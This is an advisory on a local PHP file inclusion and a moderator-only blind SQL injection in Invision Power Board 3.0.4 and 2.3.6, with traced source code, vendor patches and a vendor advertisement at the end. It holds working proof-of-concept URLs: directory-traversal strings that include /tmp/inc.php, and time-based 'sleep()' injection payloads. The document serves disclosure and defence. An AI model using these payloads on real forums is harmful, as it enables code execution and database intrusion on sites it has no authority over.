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| Invision Power Board has a PHP file inclusion vulnerability that is trivial to exploit with a web browser and a known location of a php file residing on the target system. Authorisation is not required. The SQL injection vulnerability is somewhat tricky to exploit as there are quite a few restrictions that make creating a successful sql attack vector difficult. Nevertheless a crafty attacker might issue a series of requests that might allow him to gain some information about the target system or even read files from the disk depending on permissions granted to the db account that is used by the forum. |
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Credit:
The information has been provided by Dawid Golunski.
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Vulnerable Systems:
* Invision Power Board version 3.0.4 and prior
* Invision Power Board version 2.3.6 and prior
The Local PHP File Inclusion vulnerability can be especially dangerous in a shared hosting environment. Even if server has been configured to prevent users from reading each other's document roots (web server/PHP process running in a context of the site's owner), an attacker that has an account on the same server as the targeted site could use the vulnerability to place a php file in a shared directory like /tmp and cause the IPB forum on the target to execute his code thus gaining access equivalent to the owner of the website.
The SQL Injection vulnerability is only a threat in case there are moderators on the forum that cannot be fully trusted or if an attacker manages to steal/guess their passwords. Possible risks in case of a successful exploitation of this flaw have been described in the previous section.
For a good understanding of the vulnerabilities it is necessary to be familiar with the way IPB handles input data. Below is a quick trace of input validation process. The code snippets come from IPB version 3.0.4.
line | file: admin/sources/base/ipsRegistry.php
352 | static public function init()
353 | {
... |
... |
462 | IPSLib::cleanGlobals( $_GET );
463 | IPSLib::cleanGlobals( $_POST );
464 | IPSLib::cleanGlobals( $_COOKIE );
465 | IPSLib::cleanGlobals( $_REQUEST );
466 |
467 | # GET first
468 | $input = IPSLib::parseIncomingRecursively( $_GET, array() );
469 |
470 | # Then overwrite with POST
471 | self::$request = IPSLib::parseIncomingRecursively( $_POST, $input ); ... |
The init() function cleans the input data passed via methods like GET, POST or others at the start of each request to the forum before any of the input variables are processed.
Let's look into sanitization performed by cleanGlobals function:
line | file: admin/sources/base/core.php
1644 | static public function cleanGlobals( &$data, $iteration = 0 )
1645 | {
... |
1654 | foreach( $data as $k => $v )
1655 | {
1656 | if ( is_array( $v ) )
1657 | {
1658 | self::cleanGlobals( $data[ $k ], ++
$iteration );
1659 | }
1660 | else
1661 | {
1662 | # Null byte characters
1663 | $v = str_replace( chr('0') , '', $v );
1664 | $v = str_replace( "\0" , '', $v );
1665 | $v = str_replace( "\x00" , '', $v );
1666 | $v = str_replace( '%00' , '', $v );
1667 |
1668 | # File traversal
1669 | $v = str_replace( "../", "../",
$v );
1670 |
1671 | $data[ $k ] = $v;
1672 | }
1673 | }
1674 | }
As we can see the function removes null characters and "../" sequences from incoming data to prevent unwanted file inclusion.
The next function that affects the input is:
line | file: admin/sources/base/core.php
1573 | static public function parseIncomingRecursively( &$data, $input=array(), $iteration = 0 )
1574 | {
... |
1583 | foreach( $data as $k => $v )
1584 | {
1585 | if ( is_array( $v ) )
1586 | {
1587 | $input[ $k ] =
self::parseIncomingRecursively( $data[ $k ], array(), ++$iteration );
1588 | }
1589 | else
1590 | {
1591 | $k = IPSText::parseCleanKey( $k );
1592 | $v = IPSText::parseCleanValue( $v,
false );
1593 |
1594 | $input[ $k ] = $v;
1595 | }
1596 | }
1597 |
1598 | return $input;
1599 | }
The purpose of this function is to clean the key/value pairs of an array passed to it with help of the parseCleanKey and parseCleanValue functions. The first one can be skipped as neither of the attacks described later on require special characters inside variable names. The other looks as follows:
line | file: admin/sources/base/core.php 4100 | static public function parseCleanValue( $val, $postParse=true )
4101 | {
4102 | if ( $val == "" )
4103 | {
4104 | return "";
4105 | }
4106 |
4107 | $val = str_replace( " ", " ",
IPSText::stripslashes($val) );
4108 |
4109 | # Convert all carriage return combos
4110 | $val = str_replace( array( "\r\n", "\n\r", "\r" ), "\n",
$val );
4111 |
4112 | $val = str_replace( "&", "&", $val );
4113 | $val = str_replace( "<!--", "<!--", $val );
4114 | $val = str_replace( "-->", "-->", $val );
4115 | $val = str_ireplace( "<script", "<script", $val );
4116 | $val = str_replace( ">", ">", $val );
4117 | $val = str_replace( "<", "<", $val );
4118 | $val = str_replace( '"', """, $val );
4119 | $val = str_replace( "\n", "<br />", $val ); // Convert
literal newlines
4120 | $val = str_replace( "$", "$", $val );
4121 | $val = str_replace( "!", "!", $val );
4122 | $val = str_replace( "'", "'", $val ); // IMPORTANT: It
helps to increase sql query safety.
4123 |
4124 | if ( IPS_ALLOW_UNICODE )
... |
The function cleans input data from characters used typically in XSS and SQL attacks.
The resulting array containing sanitized input data from GET/POST methods is stored in ipsRegistry::$request array (as we can see on the first code listing).
It is possible to include an arbitrary php file stored on the server in any location (accessible by the php/web server process) by exploiting the following code of IPB 3.0.4:
line | file: admin/sources/base/ipsController.php
142 |public function getCommand( ipsRegistry $registry )
143 |{
144 | $_NOW = IPSDebug::getMemoryDebugFlag();
145 |
146 | $module = ipsRegistry::$current_module;
147 | $section = ipsRegistry::$current_section;
148 | $filepath = IPSLib::getAppDir( IPS_APP_COMPONENT ) .
'/' . self::$modules_dir . '/' . $module . '/';
149 |
150 | /* Got a section? */
151 | if ( ! $section )
152 | {
153 | if ( file_exists( $filepath .
'defaultSection.php' ) )
154 | {
155 | $DEFAULT_SECTION = '';
156 | require( $filepath .
'defaultSection.php' );
157 |
158 | if ( $DEFAULT_SECTION )
159 | {
160 | $section = $DEFAULT_SECTION;
161 | }
162 | }
163 | }
164 |
165 | $classname = self::$class_dir . '_' .
IPS_APP_COMPONENT . '_' . $module . '_' . $section;
166 |
167 | if ( file_exists( $filepath . 'manualResolver.php' ) )
168 | {
169 | require_once( $filepath . 'manualResolver.php' );
170 | $classname = self::$class_dir . '_' .
IPS_APP_COMPONENT . '_' . $module . '_manualResolver';
171 | }
172 | else if ( file_exists( $filepath . $section . '.php' ) )
173 | {
174 | require_once( $filepath . $section . '.php' );
175 | }
... |
The require_once function on line 174 uses a variable $section to create a path to a php file that is to be included. The variable is assigned the following value:
line | file: admin/sources/base/ipsRegistry.php
1654 | ipsRegistry::$current_section = ( ipsRegistry::
$request['section'] ) ? ipsRegistry::$request['section'] : '';
which as we know from the introduction comes from a user supplied variable (via GET or POST method).
Although the whole $request array has been filtered out to prevent directory traversal and arbitrary file inclusion it is possible to evade these measures due to a bug in a function implementing the "friendly URLs" feature introduced in version 3.0.0 of the IPB forum.
line | file: admin/sources/base/ipsRegistry.php
1188 | private static function _fUrlInit()
1189 | {
... |
1195 | if ( ipsRegistry::$settings['use_friendly_urls'] )
1196 | {
... |
... |
1235 | $uri = $_SERVER['REQUEST_URI'] ?
$_SERVER['REQUEST_URI'] : @getenv('REQUEST_URI');
1236 |
1237 | $_toTest = $uri; //( $qs ) ? $qs : $uri;
... |
... |
... |
1306 | //-----------------------------------------
1307 | // If using query string furl, extract any
1308 | // secondary query string.
1309 | // Ex: http://localhost/index.php?/path/file.html?
key=value
1310 | // Will pull the key=value properly
1311 | //-----------------------------------------
1312 |
1313 | if( substr_count( $_toTest, '?' ) > 1 )
1314 | {
1315 | $_secondQueryString = substr( $_toTest,
strrpos( $_toTest, '?' ) + 1 );
1316 | $_secondParams = explode( '&',
$_secondQueryString );
1317 |
1318 | if( count($_secondParams) )
1319 | {
1320 | foreach( $_secondParams as $_param )
1321 | {
1322 | list( $k, $v ) = explode( '=', $_param );
1323 |
1324 | $k = IPSText::parseCleanKey( $k );
1325 | $v = IPSText::parseCleanValue( $v );
1326 |
1327 | $_GET[ $k ] = $v;
1328 | $_REQUEST[ $k ] = $v;
1329 | $_urlBits[ $k ] = $v;
1330 |
1331 | ipsRegistry::$request[ $k ] = $v;
1332 | }
1333 | }
1334 | }
1335 | }
... |
The above code allows for a secondary query string from which additional variables are retrieved and saved in the $request array as well as $_GET and $_REQUEST globals.
It takes a query string from a previously not cleaned global:
$_SERVER['REQUEST_URI'] and fails to check if the variables supplied in the request URI string already exist in any of the arrays as well as to call cleanGlobals function to sanitize the values.
A variable named 'section' can be passed in the secondary query string in order to bypass filtration of "../" and %00 sequences, effectively allowing to traverse directories and include any given php file within the system leading to a local file inclusion attack.
Note: Omitting '.php' extension (to include arbitrary file like /etc/passwd) by using a NULL character will not be possible in this case as a combination of %00 in the REQUEST_URI will not get decoded by the web server automatically and there is no urldecode function to decode it before the require_once call either.
Versions older than 3.0.4 have a different implementation of the friendly url feature, but are also vulnerable in the same way.
This issue is trivial to exploit with a web browser and a known location of a php file residing on the target system. Authorisation is not required.
For example, the following URL in case of IPB 3.0.4:
http://server-with-ipb-forum-3.0.4.com/forum/index.php?app=core&module=global§ion=register&any=
?
section
-
../../../../../../../../../../../../../../../../../../../../../../../../../../tmp
/inc
or the following in case of versions older than IPB 3.0.4:
http://server-with-ipb-forum-3.0.[0-3].com/forum/index.php?
app=core&module=global§ion=register/register/
page__section__
../../../../../../../../../../../../../../../../../../../../../tmp/inc__
will result in including /tmp/inc.php file and executing code it contains.
An SQL Injection attack is possible due to an insufficient sanitization in the following function:
line | file: admin/applications/forums/sources/classes/moderate.php
1820 | /**
1821 | * Create 'where' clause for SQL forum pruning
1822 | *
1823 | * @access public
1824 | * @return boolean
1825 | */
1826 | public function sqlPruneCreate( $forum_id, $starter_id="", $topic_state="", $post_min="", $date_exp="", $ignore_pin="" )
1827 | {
1828 | $sql = 'forum_id=' . intval($forum_id);
1829 |
1830 | if ( intval($date_exp) )
1831 | {
1832 | $sql .= " AND last_post < {$date_exp}";
1833 | }
1834 |
1835 | if ( intval($starter_id) )
1836 | {
1837 | $sql .= " AND starter_id={$starter_id}";
1838 |
1839 | }
1840 |
1841 | if ( intval($post_min) )
1842 | {
1843 | $sql .= " AND posts < {$post_min}";
1844 | }
1845 |
1846 | if ($topic_state != 'all')
1847 | {
1848 | if ($topic_state)
1849 | {
1850 | $sql .= " AND state='{$topic_state}'";
1851 | }
1852 | }
1853 |
1854 | if ( $ignore_pin != "" )
1855 | {
1856 | $sql .= " AND pinned=0";
1857 | }
1858 |
1859 |
1860 | return $sql;
1861 | }
All of the IF statements with intval() are to ensure that the arguments passed to the function are numeric before they are placed inside a WHERE clause of a query.
Because of the way that intval() works, it is possible to fool the function by passing a string like: '1 OR sleep(5) '. In such case intval() will return a value of 1 thus satisfying the IF conditions and causing the string to be placed inside the query.
The sqlPruneCreate function is used 2 times in a code that performs some moderator's tasks. One invocation of it can be found in:
line | file: admin/applications/forums/modules_public/moderate/
moderate.php
2323 | protected function _pruneMove()
2324 | {
2325 | //-----------------------------------------
2326 | // Check
2327 | //-----------------------------------------
2328 |
2329 | $this->_resetModerator( $this->topic['forum_id'] );
2330 |
2331 | $this->_genericPermissionCheck( 'mass_move' );
2332 |
2333 | ///-----------------------------------------
2334 | // SET UP
2335 | //-----------------------------------------
2336 |
2337 | $pergo = intval( $this->request['pergo'] ) ?
intval( $this->request['pergo'] ) : 50;
2338 | $max = intval( $this->request['max'] );
2339 | $current = intval($this->request['current']);
2340 | $maxdone = $pergo + $current;
2341 | $tid_array = array();
2342 | $starter = trim( $this->request['starter'] );
2343 | $state = trim( $this->request['state'] );
2344 | $posts = intval( $this->request['posts'] );
2345 | $dateline = intval( $this->request['dateline'] );
2346 | $source = $this->forum['id'];
2347 | $moveto = intval($this->request['df']);
2348 | $date = 0;
2349 | $ignore_pin = intval( $this->request['ignore_pin'] );
2350 |
2351 | if( $dateline )
2352 | {
2353 | $date = time() - $dateline*60*60*24;
2354 | }
2355 |
2356 | //-----------------------------------------
2357 | // Carry on...
2358 | //-----------------------------------------
2359 |
2360 | $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this-
>forum['id'], $starter, $state, $posts, $date, $ignore_pin );
2361 |
2362 | $this->DB->build( array(
2363 | 'select' => 'tid',
2364 | 'from' => 'topics',
2365 | 'where' => $dbPruneWhere,
2366 | 'limit' => array( 0, $pergo ),
2367 | ) );
2368 | $batch = $this->DB->execute();
... |
As we can see there are 2 variables that come from a user and are not converted to a number before they are passed to the sqlPruneCreate
function:
$starter and $state.
The second variable cannot be used in SQL Injection as it will be treated as a string and embraced with quotes by sqlPruneCreate. A string passed in $starter variable will be placed unquoted in the query as long as the first character is a number allowing a logged in moderator to perform an SQL Injection attack.
The vulnerability is somewhat tricky to exploit as there are quite a few restrictions that make creating a successful sql attack vector difficult. Only the WHERE statement can be controlled, quotes are filtered, and UNION or sub selects are prohibited too (at least in case of a MySQL driver). To top it all, the results of the query are not outputted to the browser so it will have to be a blind injection.
Nevertheless a crafty attacker might issue a series of requests that might allow him to gain some information about the target system or even read files from the disk depending on permissions granted to the db account that is used by the forum. Other attacks might also be possible when a database engine other than MySQL is used.
If a logged in user with moderator privileges requests an URL like:
http://server-with-ipb-3.x.x-forum.com/forum/?app=forums&module=moderate§ion=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20--%20skip%20&auth_key=c4276b77602767228faa9760eb4a5abd
in case of IPB 3.x, or:
http://server-with-ipb-2.x.x-forum.com/forum/?act=mod&f=1&CODE=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(16)%20--%20skip%20&auth_key=040c4a6e768d626b4c05a4bb0fbf315c
in case of IPB 2.x.
A query similar to:
SELECT tid FROM ibftopics WHERE forum_id=1 AND starter_id=1 AND
starter_id=1
OR substr(version(),1,1)=5 AND sleep(15) -- skip AND state='open' AND pinned=0 LIMIT 0,50
will be run against the database.
The query will check if a major version of MySQL server is equal to 5. If that is the case a sleep function will be run which will slow down the page load by 15 seconds thus revealing the result of the query.
For this to work a valid auth_key needs to be supplied (that can be obtained by going to any of the forums, clicking Forum Management button and selecting Prune/Mass Move feature). Source ($f) and Destination ($df) forums parameters in the URL might also need adjusting.
Patch Availability:
Vendor has been informed about the vulnerabilities and should be releasing patches soon.
I attach 2 patches for the current versions of both 2.x and 3.x series that can be used as a temporary solution.
IPB 3.0.4 patch:
diff -Nprub ipb304/admin/applications/forums/sources/classes/
moderate.php ipb304-patched/admin/applications/forums/sources/classes/
moderate.php
--- ipb304/admin/applications/forums/sources/classes/moderate.php
2009-10-08 16:34:50.000000000 +0100
+++ ipb304-patched/admin/applications/forums/sources/classes/
moderate.php 2009-11-29 01:01:49.000000000 +0000
@@ -1829,18 +1829,18 @@ class moderatorLibrary
if ( intval($date_exp) )
{
- $sql .= " AND last_post < {$date_exp}";
+ $sql .= " AND last_post < ". intval($date_exp);
}
if ( intval($starter_id) )
{
- $sql .= " AND starter_id={$starter_id}";
+ $sql .= " AND starter_id=". intval($starter_id);
}
if ( intval($post_min) )
{
- $sql .= " AND posts < {$post_min}";
+ $sql .= " AND posts < ". intval($post_min);
}
if ($topic_state != 'all')
diff -Nprub ipb304/admin/sources/base/ipsRegistry.php ipb304-patched/ admin/sources/base/ipsRegistry.php
--- ipb304/admin/sources/base/ipsRegistry.php 2009-10-08
16:34:24.000000000 +0100
+++ ipb304-patched/admin/sources/base/ipsRegistry.php 2009-11-29
00:57:13.000000000 +0000
@@ -479,6 +479,9 @@ class ipsRegistry
/* First pass of app set up. Needs to be BEFORE caches and member are set up */
self::_fUrlInit();
+ IPSLib::cleanGlobals( $_GET );
+ IPSLib::cleanGlobals( $_REQUEST );
+ IPSLib::cleanGlobals( self::$request );
self::_manageIncomingURLs();
IPB 2.3.6 patch:
diff -Nprub ipb236/sources/lib/func_mod.php ipb236-patched/sources/lib/ func_mod.php
--- ipb236/sources/lib/func_mod.php 2009-11-29 01:10:13.000000000 +0000
+++ ipb236-patched/sources/lib/func_mod.php 2009-11-29
01:19:23.000000000 +0000
@@ -1219,18 +1219,18 @@ class func_mod
if ( intval($date_exp) )
{
- $sql .= " AND last_post < $date_exp";
+ $sql .= " AND last_post < ". intval($date_exp);
}
if ( intval($starter_id) )
{
- $sql .= " AND starter_id=$starter_id";
+ $sql .= " AND starter_id=". intval($starter_id);
}
if ( intval($post_min) )
{
- $sql .= " AND posts < $post_min";
+ $sql .= " AND posts < ". intval($post_min);
}
if ($topic_state != 'all')
Apply by going to your forum's directory and running the command:
patch -p1 < path_to_the_patch
Disclosure Timeline:
December 4th, 2009: Initial release
-------------------------------------------------------------------------------------------------------------------------------
This vulnerability and over 10,000 others are identified and reported by AVDS, the most technically sophisticated network vulnerability assessment and management system available.
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